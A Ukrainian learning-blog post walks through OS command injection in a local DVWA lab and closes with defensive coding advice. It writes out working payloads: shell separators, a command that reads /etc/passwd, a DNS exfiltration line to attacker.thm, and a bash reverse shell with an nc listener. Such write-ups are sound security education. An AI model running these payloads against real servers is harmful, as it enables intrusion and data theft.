// LOG #7: Command Injection — коли поле «введи IP» виконує будь-що

// LOG #7: Command Injection — коли поле «введи IP» виконує будь-що

Юний поціновувач кібернетичних наук

SQLi ліз у базу, XSS — у браузер жертви. А сьогодні найсоковитіше: Command Injection — коли через звичайне поле на сайті ти виконуєш команди прямо на сервері. Це вже прямий шлях до захоплення машини.

>> Що таке Command Injection

Іноді веб-застосунок бере твій ввід і підставляє його в системну команду, яку виконує на сервері (через shell). Якщо ввід не перевіряють — ти дописуєш свою команду, і сервер її виконує. Результат: повний доступ до ОС від імені веб-процесу.

Класичний приклад — форма «пропінгувати хост». На сервері це приблизно так:

ping -c 4 <ТВІЙ_ВВІД>

Якщо вписати не IP, а IP + роздільник + свою команду — виконаються обидві. Оце і є ін'єкція.

>> Де я це робив

Безкоштовних кімнат по Command Injection на THM не знайшлось (усі Premium), тож я підняв класику локально — DVWA (Damn Vulnerable Web App) у Docker поруч зі своєю Kali. Підняти й повторити може будь-хто. Залогінився (admin/password), скинув базу, виставив рівень безпеки Low і пішов у розділ Command Injection.

>> Роздільники команд у shell

Головна зброя — символи, якими можна «склеїти» кілька команд:

  • ; — виконати послідовно (cmd1 ; cmd2);
  • | — передати вивід далі / виконати наступну;
  • && — виконати другу лише якщо перша успішна;
  • || — виконати другу лише якщо перша впала;
  • $(cmd) або `cmd` — підстановка результату команди;
  • %0a — символ нового рядка, інколи обходить фільтри.

>> Практика: від ping до /etc/passwd

У поле IP замість адреси вписуємо адресу + свою команду. Спершу хто ми на сервері:

127.0.0.1; whoami

Відповідь: www-data. Тобто команди виконуються від імені веб-сервера. Далі — детальніше про акаунт через pipe:

127.0.0.1 | id

uid=33(www-data). Перевіримо систему через &&:

127.0.0.1 && uname -a

І фінальний акорд — читаємо файл паролів:

127.0.0.1; cat /etc/passwd

Сервер слухняно вивалює вміст /etc/passwd. Звичайне поле «введи IP» щойно віддало мені виконання довільних команд на машині.

>> А якщо виводу не видно? (Blind)

Буває, що результат команди не показується на сторінці — це Blind Command Injection. Тоді перевіряють інакше. За часом (якщо затримка є — команда виконалась):

127.0.0.1; sleep 10

Або out-of-band: змусити сервер «постукати» до тебе, і дивитись свої логи (тут — вивести результат у DNS/HTTP на свою машину):

127.0.0.1; nslookup $(whoami).attacker.thm

>> Куди це веде: reverse shell

Виконання однієї команди — це вже багато, але фінальна мета — інтерактивний доступ. На своїй машині слухаємо порт:

nc -lvnp 4444

А через ін'єкцію запускаємо на сервері зворотний shell:

127.0.0.1; bash -c 'bash -i >& /dev/tcp/ВАШ_IP/4444 0>&1'

І ось у нас повноцінна сесія на сервері. Далі — розвідка й підвищення привілеїв (privesc), але це вже інша історія.

Шо каже HackTricks 📖

Command Injection = повний контроль над сервером, тому це критичний баг. HackTricks має шпаргалку роздільників під Unix/Windows, техніки обходу фільтрів, time-based та DNS-ексфільтрацію, і список з 25 найчастіше вразливих параметрів (cmd, exec, ping, query…): Command Injection — HackTricks. Захист один: НЕ передавати ввід у shell. У PHP — escapeshellarg(), у Python — subprocess без shell=True (кожен аргумент окремо), у Node.js — execFile замість exec. Плюс whitelist припустимих значень (тут — валідація формату IP).


>> Що я зрозумів для себе

  • Command Injection = виконання команд ОС на сервері через веб-поле. Найкритичніший клас.
  • Зброя — shell-роздільники: ; | && || $() `` %0a.
  • In-band — бачиш вивід; Blind — перевіряєш затримкою (sleep) або out-of-band (DNS/HTTP).
  • www-data сьогодні, root завтра: далі йде privesc.
  • Захист: не передавати ввід у shell (execFile/subprocess без shell), whitelist, escapeshellarg.

>> Інструмент дня

DVWA (тренажер, який я підняв) · PortSwigger OS Command Injection · HackTricks — Command Injection · PayloadsAllTheThings — Command Injection · GTFOBins (корисно для privesc після RCE)

DVWA (тренажер, який я підняв): https://github.com/digininja/DVWA
PortSwigger OS Command Injection: https://portswigger.net/web-security/os-command-injection
HackTricks — Command Injection: https://book.hacktricks.wiki/en/pentesting-web/command-injection.html
PayloadsAllTheThings — Command Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
GTFOBins (корисно для privesc після RCE): https://gtfobins.github.io/

Поле «введи IP» дало мені shell. Мораль стара: усе, що прийшло від користувача — потенційна команда. Наступного разу копнемо ще глибше.

— з повагою ваш Юний поціновувач кібернетичних наук

Report Page